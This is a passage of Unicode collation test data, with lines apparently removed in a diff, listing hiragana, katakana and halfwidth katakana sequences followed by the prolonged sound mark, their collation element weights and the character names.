-306F 30FC ; [.3BDD.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER HA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D0 30FC ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER BA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30CF 3099 30FC ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8A FF9E 30FC ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8A FF9E FF70 ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3070 30FC ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER BA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-306F 3099 30FC ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D1 30FC ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER PA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30CF 309A 30FC ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8A FF9F 30FC ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8A FF9F FF70 ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3071 30FC ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER PA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-306F 309A 30FC ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BC3.0020.0007.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30DE 30FC ; [.3BE2.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER MA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8F 30FC ; [.3BE2.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8F FF70 ; [.3BE2.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-307E 30FC ; [.3BE2.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER MA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E3 30FC ; [.3BE7.0020.000F.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER SMALL YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6C 30FC ; [.3BE7.0020.000F.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF6C FF70 ; [.3BE7.0020.000F.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3083 30FC ; [.3BE7.0020.000F.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER SMALL YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E4 30FC ; [.3BE7.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF94 30FC ; [.3BE7.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF94 FF70 ; [.3BE7.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3084 30FC ; [.3BE7.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30E9 30FC ; [.3BEB.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER RA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF97 30FC ; [.3BEB.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF97 FF70 ; [.3BEB.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3089 30FC ; [.3BEB.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER RA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30EE 30FC ; [.3BF0.0020.000F.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER SMALL WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-308E 30FC ; [.3BF0.0020.000F.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER SMALL WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30EF 30FC ; [.3BF0.0020.0011.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF9C 30FC ; [.3BF0.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF9C FF70 ; [.3BF0.0020.0011.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-308F 30FC ; [.3BF0.0020.0011.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F7 30FC ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER VA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30EF 3099 30FC ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER WA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF9C FF9E 30FC ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF9C FF9E FF70 ; [.3BF0.0020.0011.0002][.0000.0037.0002][.3BC3.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F5 30FC ; [.3BC9.0020.000F.0002][.3BC3.0020.0007.0002] # <KATAKANA LETTER SMALL KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3095 30FC ; [.3BC9.0020.000F.0001][.3BC3.0020.0007.0002] # <HIRAGANA LETTER SMALL KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F5 30FC ; [.3BDD.0020.000F][.3BC3.0020.0007.0002] # <KATAKANA LETTER SMALL HA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31FB 30FC ; [.3BEB.0020.000F][.3BC3.0020.0007.0002] # <KATAKANA LETTER SMALL RA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A3 30FC ; [.3BC4.0020.000F.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER SMALL I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF68 30FC ; [.3BC4.0020.000F.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF68 FF70 ; [.3BC4.0020.000F.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL I, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3043 30FC ; [.3BC4.0020.000F.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER SMALL I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A4 30FC ; [.3BC4.0020.0011.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF72 30FC ; [.3BC4.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF72 FF70 ; [.3BC4.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER I, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3044 30FC ; [.3BC4.0020.0011.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30AD 30FC ; [.3BCA.0020.0011.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER KI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF77 30FC ; [.3BCA.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF77 FF70 ; [.3BCA.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-304D 30FC ; [.3BCA.0020.0011.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER KI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30AE 30FC ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER GI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30AD 3099 30FC ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF77 FF9E 30FC ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF77 FF9E FF70 ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-304E 30FC ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER GI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-304D 3099 30FC ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B7 30FC ; [.3BCF.0020.0011.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER SI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7C 30FC ; [.3BCF.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7C FF70 ; [.3BCF.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3057 30FC ; [.3BCF.0020.0011.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER SI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B8 30FC ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER ZI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B7 3099 30FC ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7C FF9E 30FC ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7C FF9E FF70 ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3058 30FC ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER ZI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3057 3099 30FC ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C1 30FC ; [.3BD4.0020.0011.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER TI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF81 30FC ; [.3BD4.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF81 FF70 ; [.3BD4.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3061 30FC ; [.3BD4.0020.0011.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER TI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C2 30FC ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER DI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30C1 3099 30FC ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF81 FF9E 30FC ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF81 FF9E FF70 ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3062 30FC ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER DI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3061 3099 30FC ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30CB 30FC ; [.3BD9.0020.0011.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER NI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF86 30FC ; [.3BD9.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF86 FF70 ; [.3BD9.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-306B 30FC ; [.3BD9.0020.0011.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER NI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D2 30FC ; [.3BDE.0020.0011.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER HI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8B 30FC ; [.3BDE.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8B FF70 ; [.3BDE.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3072 30FC ; [.3BDE.0020.0011.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER HI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D3 30FC ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER BI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D2 3099 30FC ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8B FF9E 30FC ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8B FF9E FF70 ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3073 30FC ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER BI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3072 3099 30FC ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D4 30FC ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER PI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30D2 309A 30FC ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8B FF9F 30FC ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF8B FF9F FF70 ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3074 30FC ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER PI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3072 309A 30FC ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BC4.0020.0007.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30DF 30FC ; [.3BE3.0020.0011.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER MI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF90 30FC ; [.3BE3.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF90 FF70 ; [.3BE3.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-307F 30FC ; [.3BE3.0020.0011.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER MI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30EA 30FC ; [.3BEC.0020.0011.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER RI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF98 30FC ; [.3BEC.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF98 FF70 ; [.3BEC.0020.0011.0002][.3BC4.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-308A 30FC ; [.3BEC.0020.0011.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER RI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F0 30FC ; [.3BF1.0020.0011.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER WI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3090 30FC ; [.3BF1.0020.0011.0001][.3BC4.0020.0007.0002] # <HIRAGANA LETTER WI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F8 30FC ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER VI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30F0 3099 30FC ; [.3BF1.0020.0011.0002][.0000.0037.0002][.3BC4.0020.0007.0002] # <KATAKANA LETTER WI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F1 30FC ; [.3BCF.0020.000F][.3BC4.0020.0007.0002] # <KATAKANA LETTER SMALL SI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31F6 30FC ; [.3BDE.0020.000F][.3BC4.0020.0007.0002] # <KATAKANA LETTER SMALL HI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-31FC 30FC ; [.3BEC.0020.000F][.3BC4.0020.0007.0002] # <KATAKANA LETTER SMALL RI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A5 30FC ; [.3BC5.0020.000F.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER SMALL U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF69 30FC ; [.3BC5.0020.000F.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF69 FF70 ; [.3BC5.0020.000F.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL U, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3045 30FC ; [.3BC5.0020.000F.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER SMALL U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30A6 30FC ; [.3BC5.0020.0011.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF73 30FC ; [.3BC5.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF73 FF70 ; [.3BC5.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER U, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3046 30FC ; [.3BC5.0020.0011.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER U, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30AF 30FC ; [.3BCB.0020.0011.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER KU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF78 30FC ; [.3BCB.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF78 FF70 ; [.3BCB.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-304F 30FC ; [.3BCB.0020.0011.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER KU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B0 30FC ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER GU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30AF 3099 30FC ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF78 FF9E 30FC ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF78 FF9E FF70 ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KU, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3050 30FC ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER GU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-304F 3099 30FC ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER KU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B9 30FC ; [.3BD0.0020.0011.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER SU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7D 30FC ; [.3BD0.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7D FF70 ; [.3BD0.0020.0011.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3059 30FC ; [.3BD0.0020.0011.0001][.3BC5.0020.0007.0002] # <HIRAGANA LETTER SU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30BA 30FC ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER ZU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-30B9 3099 30FC ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <KATAKANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7D FF9E 30FC ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-FF7D FF9E FF70 ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BC5.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SU, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-305A 30FC ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER ZU, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
-3059 3099 30FC ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BC5.0020.0007.0002] # <HIRAGANA LETTER SU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
